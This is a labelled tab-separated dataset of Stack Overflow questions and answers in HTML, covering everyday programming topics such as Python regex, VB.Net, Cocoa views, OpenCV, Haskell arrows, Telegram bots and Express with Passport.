pid	label	text
4186249	1	Searching and capturing a character using regular expressions Python <p>While going through one of the problems in <a href="http://www.pythonchallenge.com/" rel="nofollow">Python Challenge</a>, I am trying to solve it as follows:</p> <p>Read the input in a text file with characters as follows:</p> <pre><code>DQheAbsaMLjTmAOKmNsLziVMenFxQdATQIjItwtyCHyeMwQTNxbbLXWZnGmDqHhXnLHfEyvzxMhSXzd BEBaxeaPgQPttvqRvxHPEOUtIsttPDeeuGFgmDkKQcEYjuSuiGROGfYpzkQgvcCDBKrcYwHFlvPzDMEk MyuPxvGtgSvWgrybKOnbEGhqHUXHhnyjFwSfTfaiWtAOMBZEScsOSumwPssjCPlLbLsPIGffDLpZzMKz jarrjufhgxdrzywWosrblPRasvRUpZLaUbtDHGZQtvZOvHeVSTBHpitDllUljVvWrwvhpnVzeWVYhMPs kMVcdeHzFZxTWocGvaKhhcnozRSbWsIEhpeNfJaRjLwWCvKfTLhuVsJczIYFPCyrOJxOPkXhVuCqCUgE luwLBCmqPwDvUPuBRrJZhfEXHXSBvljqJVVfEGRUWRSHPeKUJCpMpIsrV....... </code></pre> <p>What I need is to go through this text file and pick all lower case letters that are enclosed by only three upper-case letters on each side.</p> <p>The python script that I wrote to do the above is as follows:</p> <pre><code>import re pattern = re.compile("[a-z][A-Z]{3}([a-z])[A-Z]{3}[a-z]") f = open('/Users/Dev/Sometext.txt','r') for line in f: result = pattern.search(line) if result: print result.groups() f.close() </code></pre> <p>The above given script, instead of returning the capture(list of lower case characters), returns all the text blocks that meets the regular expression criteria, like</p> <pre><code>aXCSdFGHj vCDFeTYHa nHJUiKJHo ......... ......... </code></pre> <p>Can somebody tell me what exactly I am doing wrong here? And instead of looping through the entire file, is there an alternate way to run the regular expression search on the entire file?</p> <p>Thanks</p>
54312	0	 <p>Yes, of course there is :-) object oriented techniques are a tool ... if you use the wrong tool for a given job, you will be over complicating things (think spoon when all you need is a knife).</p> <p>To me, I judge "how much" by the size and scope of the project. If it is a small project, sometimes it does add too much complexity. If the project is large, you will still be taking on this complexity, but it will pay for itself in ease of maintainability, extensibility, etc.</p>
7956164	0	 <p>Try waiting for window's <code>load</code> event, it waits until all iframes have loaded.</p> <pre><code>$(window).load(function(){ // images and iframes have loaded }) </code></pre>
3289313	0	 <p>Assuming that's VB.Net, you need to escape the <code>)</code>:</p> <pre><code>If Regex.IsMatch(Output, "\b" &amp; "Serial\)" &amp; "\b") Then 'do something End If </code></pre> <p>In .Net regular expressions, parentheses are the grouping characters.</p> <hr> <p>If, as you say, the word 'Serial)' is generated dynamically, you will have to <a href="http://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex.escape.aspx" rel="nofollow noreferrer">escape</a> it before passing it to the RE engine:</p> <pre><code>If Regex.IsMatch(Output, "\b" &amp; Regex.Escape("Serial)") &amp; "\b") Then 'do something End If </code></pre> <hr> <p>As one other answerer has posted, this won't match <code>"Serial) xyz"</code> (for example) since there's no <code>\b</code> between the <code>)</code> and space (<code>\b</code> only exists <em>between</em> <code>\w</code> and <code>\W</code> characters and both <code>)</code> and a space are <code>\W</code>).</p> <p>You may have to resort to an ugly hack like:</p> <pre><code>If Regex.IsMatch(Output, "\s" &amp; Regex.Escape("Serial)") &amp; "\s") _ Or Regex.IsMatch(Output, "\s" &amp; Regex.Escape("Serial)") &amp; "$") _ Or Regex.IsMatch(Output, "^" &amp; Regex.Escape("Serial)") &amp; "\s") _ Or Regex.IsMatch(Output, "^" &amp; Regex.Escape("Serial)") &amp; "$") _ Then 'do something End If </code></pre> <p>I thought that maybe you could match a character class consisting of (<code>^</code> or <code>$</code>) and <code>\s</code> along the lines of:</p> <pre><code>If Regex.IsMatch(Output, "[\s^]" &amp; Regex.Escape("Serial)") &amp; "[\s$]") Then 'do something End If </code></pre> <p>but this doesn't appear to work based on the regex tester <a href="http://regexlib.com/RETester.aspx" rel="nofollow noreferrer">here</a> so you may have to go for the ugly hack version or you could combine them into a single regex as in:</p> <pre><code>var input = "Serial)" var escaped = Regex.Escape (input) var regex = "\s" &amp; escaped &amp; "\s|^" &amp; escaped &amp; "$|\s" &amp; escaped &amp; "$|^" &amp; escaped &amp; "\s" If Regex.IsMatch(Output, regex) Then 'do something End If </code></pre>
10314039	0	 <p>Usually when the add-to-cart button does not display it is because your product has no inventory set. Remember that the configurable product needs to be set to in stock and the associated simple products have to have at least one item with non-zero inventory and be set as 'in stock'.</p>
26203268	0	Is there a maximum limit to listview or gridview? <p>Is there a limit in rows in listview, or rows and columns in the case of gridview, that could slow down the app? </p> <p>I'm looking at, a maximum nearly 5,000 individual datas with at least 3 table attributes to be displayed in each row of the listview.</p>
6499962	0	 <p>I would do a loop. Keep adding days until you hit a day that works.</p>
8978532	0	NSView subclass over another NSView subclass? <p>I'm trying to create an Cocoa-AppleScript Application with some basic functions, and I want to display a background image for the window and then display a color box above it. </p> <p>I finally figured out how to set the background image via this guide (<a href="http://www.mere-mortal-software.com/blog/details.php?d=2007-01-08" rel="nofollow noreferrer">http://www.mere-mortal-software.com/blog/details.php?d=2007-01-08</a>), but I don't know how to set a color box above it. The basic layout I'm trying to achieve is this:</p> <p><img src="https://i.stack.imgur.com/o25EI.png" alt="enter image description here"></p> <p>The window view has a class of <code>ViewBackground</code> which is a subclass of <code>NSView</code>. The <code>ViewBackground.m</code> file looks like this:</p> <pre><code>-(void)drawRect:(NSRect)rect { NSImage *anImage = [NSImage imageNamed:@"repeat"]; [[NSColor colorWithPatternImage:anImage] set]; NSRectFill([self bounds]); } </code></pre> <p>Like I said, that works fine. The problem is when I try to put the box with the background color white above it. I thought I would be able to do this by making a new subclass of <code>NSView</code>, <code>ContentBackground</code>. The <code>ContentBackground.m</code> file looks like this:</p> <pre><code>-(void)drawRect:(NSRect)rect { [[NSColor whiteColor] set]; NSRectFill(rect); } </code></pre> <p>The hierarchy of my windows looks like this:</p> <p><img src="https://i.stack.imgur.com/PzF0I.png" alt="enter image description here"></p> <p>Now this <em>sometimes</em> works, but usually produces this result in the debugger:</p> <pre><code>int main(int argc, char *argv[]) { [[NSBundle mainBundle] loadAppleScriptObjectiveCScripts]; return NSApplicationMain(argc, (const char **)argv); Thread 1: Stopped at breakpoint 1 } </code></pre> <p>What am I doing wrong and how can I fix this?</p> <p>Also, the content (buttons, etc..) will go on top of the <code>ContentBackground</code> box.</p>
21300539	0	 <p>Reading your comments, i see that it is not a ZF2 error, and probably not even a third party module, so it could be an ElFinder Error. Probably it cannot find some required resources.</p> <p>Reading some code and some webdites, i think that probably you are just lacking the url option of the viewhelper, so ElFinder can find the backend route he tries to connect to. </p> <p>With the QuElFinder, the route to the connector is <code>/quelfinder/connector</code> so in your view, the code will be:</p> <pre><code>echo $this-&gt;QuElFinder('elfinder', array( 'width' =&gt; "50%", 'height' =&gt; '300', 'url' =&gt; '/quelfinder/connector' ) ); </code></pre> <p>Also, you should go to <code>QuElFinder/config/module.config.php</code> and check everything under </p> <pre><code> 'QuConfig'=&gt;array( 'QuElFinder'=&gt;array( </code></pre> <p>because as you can see in the QuElFinder controller, in the <code>connectorAction()</code> function, it is reading that configuration, and there is a lot of paths.</p>
1133967	0	 <p>the usage of ccc:fid is an extension of the namespace which needs to be declared in xml in order to be able to use it in libraries like simplexml. </p> <p>Here are some examples of descriptions of usin a namespace:</p> <ul> <li><a href="http://www.w3.org/TR/1999/REC-xml-names-19990114/" rel="nofollow noreferrer">http://www.w3.org/TR/1999/REC-xml-names-19990114/</a></li> <li><a href="http://www.w3.org/TR/xml-names/" rel="nofollow noreferrer">http://www.w3.org/TR/xml-names/</a></li> </ul> <p>Hope that helps, albeit it is a little complicated. </p>
34315845	0	 <p>In Private Sub DetailsView1_ItemInserting event I changed </p> <p>Dim txtYearPlant As TextBox = DirectCast(DirectCast(sender, DetailsView).FindControl("YearPlant"), TextBox) </p> <p>TO</p> <p>Dim txtYearPlant As TextBox = TryCast(view.FindControl("YearPlant"), TextBox) e.Values.Add("YearPlant", txtYearPlant.Text)</p> <p>So now the value in the PlantYear textbox is saved to the record.</p>
3532484	0	 <p>Your replace statement should be a regex string. <code>$</code> indicates the end of a line in regex, to find a dollar sign you need to escape each one with a <code>\</code> so your regex should be <code>\$</code> for each one you want to match.</p> <p>for the rest, just use CSS</p>
38851957	0	 <p>for all the googlers coming here - you're probably looking for this:</p> <pre><code>var pad_array = function(arr,len,fill) { return arr.concat(Array(len).fill(fill)).slice(0,len); } </code></pre>
34941141	0	 <p>finally figure out the answer, add a custom TypedJsonString class,</p> <pre><code>public class TypedJsonString extends TypedString { public TypedJsonString(String body) { super(body); } @Override public String mimeType() { return "application/json"; } } </code></pre> <p>convert my json object to TypedJsonString,</p> <pre><code>TypedJsonString typedJsonString = new TypedJsonString(jsonObject.toString()); </code></pre> <p>changed the api class as follows,</p> <pre><code>Observable&lt;Item&gt; getListOfFeed(@Body TypedJsonString typedJsonString); </code></pre>
33778234	0	Telegram Bot API: How to avoid Integer overflow in updates id? <p>Telegram bot api get updates function takes last update id as offest parameter. But update id is signed 32bit integer, so it is just 2147483647. Currently my bot receiving update id 348691972. 2147483647 is a small number, for example current China and India population is more then int 32.<br> What will happen when update id will overflow and how to avoid it? Is it some kind of problem 2000?</p>
16189144	0	OleDbCommand and Unicode Char <p>I have an application that run a lot of query using OleDbCommand. Every query is plain SQL text, and the command does not use parameters. </p> <p>Now, the application should support chinese char and I do not wanto to change every query by adding the N char in front of the string to specify.</p> <p>I am trying to do something like that, but It does not work:</p> <pre><code> OleDbCommand command = new OleDbCommand("?", connect); command.CommandType = CommandType.Text; command.Parameters.AddWithValue("query", qry); OleDbDataAdapter da = new OleDbDataAdapter(command); </code></pre> <p>where qry is the query to execute without the N char in front of every string.</p> <p>I really do not wat to change every query, it would be a mess.</p> <p>Do you have a solution for me?</p>
93989	0	Prevent multiple instances of a given app in .NET? <p>In .NET, what's the best way to prevent multiple instances of an app from running at the same time? And if there's no "best" technique, what are some of the caveats to consider with each solution?</p>
30134561	0	 <p>This is one of those cases where type signatures really help. Stare for a second at the type signature: </p> <pre><code>(+=) :: (ArrowXml a) =&gt; a b XmlTree -&gt; a b XmlTree -&gt; a b XmlTree </code></pre> <p>First off, <code>ArrowXml</code> is a subclass of <code>Arrow</code>, which describes some sort of machinery taking some input to some output. You can think of it like a big factory with conveyor belts taking things to different machines, and we're building these factory machines and hence factories with functions. Three of the Arrow combinators, for example, are:</p> <pre><code>(&amp;&amp;&amp;) :: (Arrow a) =&gt; a b c -&gt; a b c' -&gt; a b (c, c') |infixr 3| Fanout: send the input to both argument arrows and combine their output. arr :: (Arrow a) =&gt; (b -&gt; c) -&gt; a b c Lift a function to an arrow. (.) :: (Category cat) =&gt; cat b c -&gt; cat a b -&gt; cat a c morphism composition. </code></pre> <p>Now look at the lowercase letter (type variable) very closely in:</p> <pre><code>(+=) :: (ArrowXml a) =&gt; a b XmlTree -&gt; a b XmlTree -&gt; a b XmlTree </code></pre> <p>Clearly we're taking two machines which turn <code>b</code>s into <code>XmlTree</code>s and "merging them together" into one machine which takes a <code>b</code> in and expels an <code>XmlTree</code>. But importantly, this type signature tells us that more or less the <strong>only</strong> way that this can be implemented is:</p> <pre><code>arr1 += arr2 = arr f . (arr1 &amp;&amp;&amp; arr2) where f :: (XmlTree, XmlTree) -&gt; XmlTree f = _ </code></pre> <p>This is because of "free theorems"; if you don't know the type of a parameter then we can prove that you can't really <em>do</em> much with it. (It can be a little more complicated because the arrow might have structures which aren't totally encapsulated by <code>arr</code>, like internal counters which are summed together with <code>.</code> which are then set to <code>0</code> when using <code>arr</code>. So actually replace <code>arr f</code> with a generic <code>a (XmlTree, XmlTree) XmlTree</code> and you're good to go.)</p> <p>So we must have <strong>parallel execution</strong> of the two arrows here. That's what I'm trying to say. Because the combinator <code>(+=)</code> doesn't know what <code>b</code> is, it has no choice but to blithely feed the <code>b</code> to the arrows in parallel and then try to combine their outputs together. So, <code>deep (hasName "bar")</code> does not look at <code>foo</code>.</p> <p>You can possibly make a mutually recursive solution with <code>deep (hasName "bar") . foo</code> if you really want, but it seems potentially dangerous (i.e. infinite loop), so it may be safer to simply define something like:</p> <pre><code>a ++= b = a += (b . a) </code></pre> <p>where the "current" a is "fed" to b to produce the update. To do this you will have to import <code>.</code> from <code>Control.Category</code> as it is not the same as <code>Prelude..</code> (which does function composition only). This looks like:</p> <pre><code>import Prelude hiding ((.)) import Control.Category ((.)) </code></pre>
13616399	0	 <p>First, I'd better do it on SQL Server side :)<br> But if you don't want or cannot to do it on server side you can use this approach:</p> <p>It is obvious that you need to store SessionID somewhere you can create a txt file for that or better some settings table in SQL Server or there can be other approaches.</p> <p>To add columns <code>SessionID</code> and <code>TimeCreated</code> to OLE Destination you can use <a href="http://www.dotnetfunda.com/articles/article1233-use-of-derived-column-in-ssis.aspx" rel="nofollow">Derived columns</a></p>
32709481	0	UIViewController no longer has members topViewController or viewControllers in XCode 7 <p>After updating to XCode 7 and converting my project to the latest Swift 2 syntax, there is one error I cannot seem to fix. I have a segue to a navigation controller and need to pass data to the top view controller in its stack. The following has always worked until now:</p> <pre><code>override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) { let destinationVC = segue.destinationViewController.viewControllers[0] as! MYViewController // OR let destinationVC = segue.destinationViewController.topViewController as! MYViewController // ... } </code></pre> <p>But now the compiler gives error: </p> <p><code>Value of type 'UIViewController' has no member 'viewControllers'</code> or <code>Value of type 'UIViewController' has no member 'topViewController'</code></p> <p>I do not see how else to access the view controller(s) on the stack. Any ideas? Thanks in advance!</p>
33894262	0	 <p>Take a look at the OpenCV doc:</p> <p>For <a href="http://docs.opencv.org/master/dd/d1a/group__imgproc__feature.html#ga04723e007ed888ddf11d9ba04e2232de" rel="nofollow">Canny</a>:</p> <blockquote> <p><strong>apertureSize:</strong> aperture size for the Sobel operator.</p> </blockquote> <p>And for <a href="http://docs.opencv.org/master/d4/d86/group__imgproc__filter.html#gacea54f142e81b6758cb6f375ce782c8d" rel="nofollow">Sobel</a>:</p> <blockquote> <p><strong>ksize:</strong> size of the extended Sobel kernel; it must be 1, 3, 5, or 7.</p> </blockquote> <p>So the aperture size in <code>Canny</code> is limited by the <code>Sobel</code> kernel size.</p> <p>This is verified in the <a href="https://github.com/Itseez/opencv/blob/master/modules/imgproc/src/canny.cpp#L609-L610" rel="nofollow">source code</a> :</p> <pre><code> if ((aperture_size &amp; 1) == 0 || (aperture_size != -1 &amp;&amp; (aperture_size &lt; 3 || aperture_size &gt; 7))) CV_Error(CV_StsBadFlag, "Aperture size should be odd"); </code></pre> <p>So, unless you rewrite yourself some code, there's no way to use Canny with a larger aperture size. You can apply your custom <em>large sobel filter</em> with <a href="http://docs.opencv.org/2.4/doc/tutorials/imgproc/imgtrans/filter_2d/filter_2d.html" rel="nofollow">filter2d</a>, and then code the Canny non maxima suppression.</p> <p>However, Sobel with mask larger then 3x3 is rarely used in practice.</p>
11651167	0	Connection R to Cassandra using RCassandra <p>I have an instance of Cassandra running on my localhost. For this example I have used the default configuration provided in conf\cassandra.yaml</p> <p>I tried to connect R to Cassandra using the RCassandra package. </p> <p>Basically, i have just installed the RCassandra package in R and tried to connect.</p> <pre><code>library("RCassandra") RC.connect('localhost','9160') RC.connect('127.0.0.1','9160') </code></pre> <p>None of those are working. Here is the error I get:</p> <pre><code>Error in RC.connect("localhost", port = "9160") : cannot connect to locahost:9160 </code></pre> <p>Using Cassandra-cli with the same parameters work. Can you please help on that.</p> <p>Thank you</p>
34436956	0	 <p>Use a transparent <code>border</code> on all the other <code>&lt;li&gt;</code> to make it good.</p> <pre><code>ul.menu li { float: left; list-style-type: none; border: 2px solid transparent; } </code></pre> <p><strong>Fiddle: <a href="https://jsfiddle.net/8cu4bL3s/" rel="nofollow">https://jsfiddle.net/8cu4bL3s/</a></strong></p>
33529333	0	 <p>Yes, validators are only run if the path is changed, and they also only run if they're not <code>undefined</code>. Except the Required validator, which runs in both cases. </p>
17025966	0	 <p>You can use <a href="http://docs.oracle.com/javase/6/docs/api/java/util/List.html#removeAll%28java.util.Collection%29" rel="nofollow"><code>boolean removeAll(Collection&lt;?&gt; c)</code></a> method.</p> <p>Just note that this method modifies the <code>List</code> on which you invoke it. In case you to keep the original <code>List</code> intact then you would have to make a copy of the list first and then the method on the copy.</p> <p>e.g.</p> <pre><code>List&lt;Employee&gt; additionalDataInListA = new ArrayList&lt;Employee&gt;(listA); additionalDataInListA.removeAll(listB); </code></pre>
33362460	0	Does every view have its own canvas/bitmap to draw on? <p>I have a relativelayout with three full screen child views of the same custom view class. I am wondering whether I should be worried about memory. Judging by this answer: <a href="http://stackoverflow.com/questions/4576909/understanding-canvas-and-surface-concepts">Understanding Canvas and Surface concepts</a></p> <p>All views get passed the same canvas with underlying bitmap to draw on so that the memory is not tripled. Can anyone confirm? It would make sense, otherwise a full screen textview would be very inefficient. </p> <p>Bonus: is the purpose of canvas to define a drawable area of a bitmap and translating the view coordinates to bitmap coordinates?</p>
7438401	0	MySQL REPLACE rows WHERE field a equals x and field b equals y <p>I'm trying to construct a 'new comments' feature where the user is shown the number of new comments since the last visit. I've constructed a 'Views' table that contains the topic id, the user id and a timestamp. What's the best way of updating the timestamp every time the user visits that topic or inserting a fresh row if one doesn't exist? At the moment I have:</p> <pre><code>REPLACE INTO Views (MemberID, TopicID, Visited) SET ('$_SESSION[SESS_MEMBER_ID]', '$threadid', '$t') WHERE MemberID = $_SESSION[SESS_MEMBER_ID] AND TopicID = $threadid </code></pre> <p>However, this does not work. Is it possible to do this in one query?</p>
20804034	0	 <p>I placed this as an edit in Alex's answer, it did not get reviewed though so I'll post it here, as it is useful information imho.</p> <p>You can also pass a vector of Points, makes it easier to do something with them afterwards:</p> <pre><code>std::vector&lt;cv::Point2i&gt; locations; // output, locations of non-zero pixels cv::findNonZero(binaryImage, locations); </code></pre> <p>One note for the <code>cv::findNonZero</code> function in general: if <code>binaryImage</code> contains zero non-zero elements, it will throw because it tries to allocate '1 x n' memory, where n is <code>cv::countNonZero</code>, and n will obviously be 0 then. I circumvent that by manually calling <code>cv::countNonZero</code> beforehand but I don't really like that solution that much.</p>
3074100	0	 <p>solved:</p> <p>remove <code>margin-bottom:10px;</code> from your </p> <pre><code> .itemsWrapper { margin-bottom:10px; overflow:auto; width:100%; background: green; } </code></pre> <p><a href="http://jsbin.com/ajoka/11" rel="nofollow noreferrer">http://jsbin.com/ajoka/11</a></p>
19128203	0	 <p>JayData does <strong>NOT</strong> track complex types (like arrays or custom type objects) inner values.. It just tracks the reference to the value.</p> <p>In case you want to force the update in this case, you have to make a "deep copy" or encapsulate you current object into another one for the reference to change. For example using jQuery:</p> <pre><code>entity.field = jQuery.extend({}, field); </code></pre> <p>Nothing really changes for your object values, but it gets encapsulated in jQuery's object and the reference has changed, so JayData thinks it's value has changed and sends the updated values to the server.</p> <p>It is a workaround, but as my friend said: "Do you really care about how much <strong><em>clients'</em></strong> CPU you use?" :)</p>
39083635	0	How to use HttpClient to connect to an API that is expecting a custom type? <p>I have a .net controller that accepts POST events. It is expecting 2 dates from the client system(c# console app).</p> <p>How can I connect to this controller and send the needed data if the console app does not know anything about the ContestDates class?</p> <p>Here is the controller:</p> <pre><code>public class ContestDates { public DateTime FirstDate { get; set; } public DateTime SecondDate { get; set; } } [HttpPost("api/contestDates/random")] public IActionResult PostRandomDates(ContestDates contestDates) { //do stuff with contestDates... return Ok(); } </code></pre> <p>Thanks!</p>
27805043	0	 <p>I know this is an old post, but I was able to get rid of the error by commenting out the call to "strip_save_dsym" from tools/strip_from_xcode line 61ish. I have no idea if that still creates a proper build, but it does clear out the errors. Here is the link that lead me to this <a href="http://www.magpcss.org/ceforum/viewtopic.php?f=6&amp;t=701#p2869" rel="nofollow">fix</a>.</p>
16327293	0	 <p>Just do this:</p> <pre><code>if ($var[strlen($var) - 1] == "?") { $var = substr($var, 0, strlen($var) - 1); } </code></pre>
14158927	0	 <p>Hi try it using Converter</p> <pre><code> public class BoolToColorConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { if (value is bool &amp;&amp; (bool)value) return new SolidColorBrush(Colors.Red); else return null; } public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { throw new NotImplementedException(); } } &lt;Window.Resources&gt; &lt;conv:BoolToColorConverter x:Key="boolToColorConverter"/&gt; &lt;/Window.Resources&gt; &lt;GridViewColumn Header="Product" Width="60" DisplayMemberBinding="{Binding ProductID}" BackGround="{Binding Equality, Converter={StaticResource boolToColorConverter}}" /&gt; </code></pre> <p>I hope this will give you an idea.</p>
15531622	0	 <p>It would be better if you sorted the objects you are populating richtextbox1 with instead of trying to split and parse the text of richtextbox1.</p> <p>Lets say you have a list with students</p> <pre><code>List&lt;Student&gt; studentList = new List&lt;Student&gt;(); </code></pre> <p>That list could be sorted by using something similar to this:</p> <pre><code>StringBuilder sb = new StringBuilder(); studentList.OrderByDescending(x=&gt;x.Average) .ToList() .ForEach(x=&gt; sb.Append(String.Format("{0} {1} {2} {3} {4}" + Environment.NewLine,x.Id,x.Name,x.Sname,x.DOB,x.Average))); richTextBox2.Text = sb.ToString(); </code></pre>
7523215	0	Serializing Tree into nested list using python <p>I have a binary tree class like this:</p> <pre><code>class BinaryTree: def __init__(self, data, left=None, right=None): self.data = data self.left = left self.right = right </code></pre> <p>Now I'm facing a task to serialize this structure in to a nested list. BTW, I have a left-to-right traversal function in mind:</p> <pre><code>def binary_tree(tree): if tree: for node_data in binary_tree(tree.left): yield node_data for node_data in binary_tree(tree.right): yield node_data </code></pre> <p>Or there is a general way to serialize it into mixed nested structure? For example, {[]}, or [{}]?</p>
2388141	0	 <p>I used to be a Java programmer, When I moved to C/C++ I enjoyed using <a href="http://www.eclipse.org/cdt/" rel="nofollow noreferrer">Eclipse CDT</a>, it is a good, customizable and powerful IDE. <a href="http://qt.nokia.com/products" rel="nofollow noreferrer">QtCreator</a> is another nice full Qt integrated tool.</p>
1437503	0	 <p>Once you harvest the links, you can use <a href="http://it2.php.net/curl" rel="nofollow noreferrer">curl</a> or file_get_contents (in a safe environment file_get_contents shouldn't allow to walk over http protocol though)</p>
38863200	0	 <p><code>do/try/catch</code> will catch errors that are thrown by some other method, but it won't catch runtime exceptions, such as you are getting from the forced downcast. For example, if <code>data</code> was invalid JSON then an error will be thrown and caught. In your case it seems the JSON is valid, but it is a dictionary, not an array. </p> <p>You want something like </p> <pre><code>setQA = nil do { if let json = try NSJSONSerialization.JSONObjectWithData(data!, options: NSJSONReadingOptions.AllowFragments) as? [AnyObject] { setQA = json print(setQA) } else { self.customAlert("Invalid response from server") } } catch _ { self.customAlert("Error parsing JSON") } </code></pre>
13745347	0	Make whole <li> as link with proper HTML <p>I know this has been up a lot of times before, but I couldn't find any solution in my specific case.</p> <p>I've got a navigation bar and I want the whole <code>&lt;li&gt;</code>'s to be "linked" or "clickable" if you will. Now only the <code>&lt;a&gt;</code> (and the <code>&lt;div&gt;</code>'s I've fiddled with) is "clickable".</p> <p>I've tried the <code>li a {display: inner-block; height: 100%; width: 100%}</code> method but the results where just horrible.</p> <p>The source can be found here: <a href="http://jsfiddle.net/prplxr/BrcZK/">http://jsfiddle.net/prplxr/BrcZK/</a></p> <h2>HTML</h2> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;asdf&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="wrapper"&gt; &lt;div id="menu"&gt; &lt;div id="innermenu"&gt; &lt;ul id="menulist"&gt; &lt;li class="menuitem"&gt;&lt;a href="index.php"&gt;&lt;div class="menulink"&gt;Lnk1&lt;/div&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class="menuitem"&gt;&lt;a href="index.php"&gt;&lt;div class="menulink"&gt;Lnk2&lt;/div&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class="menuitem"&gt;&lt;a href="index.php"&gt;&lt;div class="menulink"&gt;Lnk3&lt;/div&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class="menuitem"&gt;&lt;a href="index.php"&gt;&lt;div class="menulink"&gt;Lnk4&lt;/div&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Do anyone have a neat solution to this?</p> <p>Thank you in advance!</p>
33195084	0	 <p>Possibly add three divs inside your first. each with their own .png?</p> <pre><code>&lt;div&gt; &lt;div id="blue" style="z-index: 1;"&gt;&lt;img src="blue.png"&gt;&lt;/div&gt; &lt;div id="yellow"style="z-index: 2;"&gt;&lt;img src="yellow.png"&gt;&lt;/div&gt; &lt;div id="red" style="z-index: 1;"&gt;&lt;img src="red.png"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>
40684641	0	 <p>Maybe an idea which might work for you:</p> <p>To ban a user, create an entry in your database to the user to flag the user as banned with a timestamp NOW + X</p> <pre><code>{ "users" : { "bad_user" : { "banned" : { "until" : 123456 // timestamp NOW + X } } } } </code></pre> <p>Now whenever the user logs in afterwards, you check wether the user is banned and immediately try to delete that entries. If it fails, penalty time is still running. If it succeeds, well then the user can use your app :)</p> <p>The trick is to use firebase rules to restrict possible changes.</p> <p>something like:</p> <pre><code>{ "rules" : { "users" : { "$uid" : { // ... "banned" : { .write : "(!newData &amp;&amp; now &lt; data.child('until').val() )" .... </code></pre> <p>Please note - these are not working rules, but should help to figure it out.</p>
1953654	0	 <p>That's the simplest way to do it; don't be disappointed.</p>
35160200	0	Express & Passport with multiple subdomains <p>I'm merging two little apps into one, that is supposed to be accessed via two subdomains. To do so I'm using the module "express-subdomain". I'm trying to use Passport so when a user logs in in the first app, he is logged in in both apps. However using <code>req.isAuthenticated()</code> I can indeed login in the "first" app, but then I'm not in the "second" one.</p> <p>I'm searching for any solution to have a passport authentification in the first subdomain and being logged in in the second one, including keeping two disctinct apps if needed.</p> <p>Assuming that passport is correctly configured for a local strategy, as well as the routers and the rest of the app. Here is what it looks like :</p> <p><strong>app.js</strong></p> <pre><code>// &lt;- requires etc var passport = require('./configurePassport.js')(require('passport')); var app = express(); app.use(cookieParser()); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({extended: true})); app.use(expressSession({ secret: 'bestSecretEver', resave: false, saveUninitialized: false })); app.use(passport.initialize()); app.use(passport.session()); // and others var firstRouter = express.Router(); firstRouter.use('/public', express.static(__dirname + '/first/public')); firstRouter.use(favicon(__dirname + '/first/public/favicon.ico')); // &lt;- setting first router's GET, POST etc app.use(subdomain('sub1', firstRouter)); // for sub1.example.com var secondRouter = express.Router(); secondRouter.use('/public', express.static(__dirname + '/second/public')); secondRouter.use(favicon(__dirname + '/second/public/favicon.ico')); // &lt;- setting second router's GET, POST etc app.use(subdomain('sub2', secondRouter)); // for sub2.example.com </code></pre> <p>Any idea ?</p>
34063937	0	 <p>You can use a form inside your application. And, ask users to fill that form. The forms needs to be connected to an database server. You may use 000webhost.com (free) to create your database. Just populate the table in database from the user response. For this follow the following procedure: <br>1. Create a online database (000webhost.com) <br>2. Write php code to insert data into the database form and save that php on the file manager on server. <br>3. From android create a async task to execute that php. <br>4. Pass your parameter or user response as request attributes while executing the php. <br>5. php will save user's response on your server. <br> Now you can access that database from anywhere.</p> <p>Note: This may require an internet connection in application.</p>
3379561	0	Integrate an E-Mail server into ASP.NET <p>I've a general design question:<br /> <br /> I have a mailserver, written in C#.<br /> Then I have a web forum software, written in for ASP.NET in C#.<br /> <br /> Now I'd like to integrate the mailserver into the ASP.NET forum application. For example, I'd like to make it possible that one can create a mailinglist from the forum, and give users the oportunity to add oneselfs to the mailinglist members in the forum, and then add the new list-members to the respective mailinglist on the server.</p> <p>Since the server is a separate console/winforms/service application, I first thought I'd best use .NET remoting for this.</p> <p>But my second thought was, that some users might host their forum on a host where <br /> (a) they don't have a virtual machine where they can do what they want<br /> (b) the admin of the host might not want to install an additional mailserver or charge extra for this<br /> (c) the user might have a service plan that only permits to add a web-application, not external programs (very likely)<br /> <br /><br /> Now, I wanted to ask:<br /> Is it possible to fully integrate a mailserver into an ASP.NET application somehow ? (I have the full source of the server + ASP.NET application)</p> <p>Well, it probably won't be a page or a ashx handler, but something like a http module ? Or what's the general way to integrate TCP/IP applications into asp.net ? (Of course I'm assuming the respecive ports are available/forwarded - and I'll make it possible to also run it with the e-mail server as external application)</p>
31186164	0	 <p>I finally decided to switch to AVPlayer</p> <p>setCurrentPlayback is</p> <pre><code>int32_t timeScale = playerView.currentItem.asset.duration.timescale; CMTime time = CMTimeMakeWithSeconds(value, timeScale); [playerView seekToTime:time toleranceBefore:kCMTimeZero toleranceAfter:kCMTimeZero]; </code></pre> <p>Duration is</p> <pre><code>CMTime duration = playerView.currentItem.asset.duration; float seconds = CMTimeGetSeconds(duration); </code></pre> <p>Same pause and Play functions.</p>
7020453	0	 <p>There is an equation given <a href="http://math.stackexchange.com/questions/41940/is-there-an-equation-to-describe-regular-polygons/41946#41946">here</a> (the last one).</p> <p>By looping over all the x and y coordinates, and checking that the output of this equation is less than zero, you can determine which points are 'inside' and colour them appropraitely.</p>
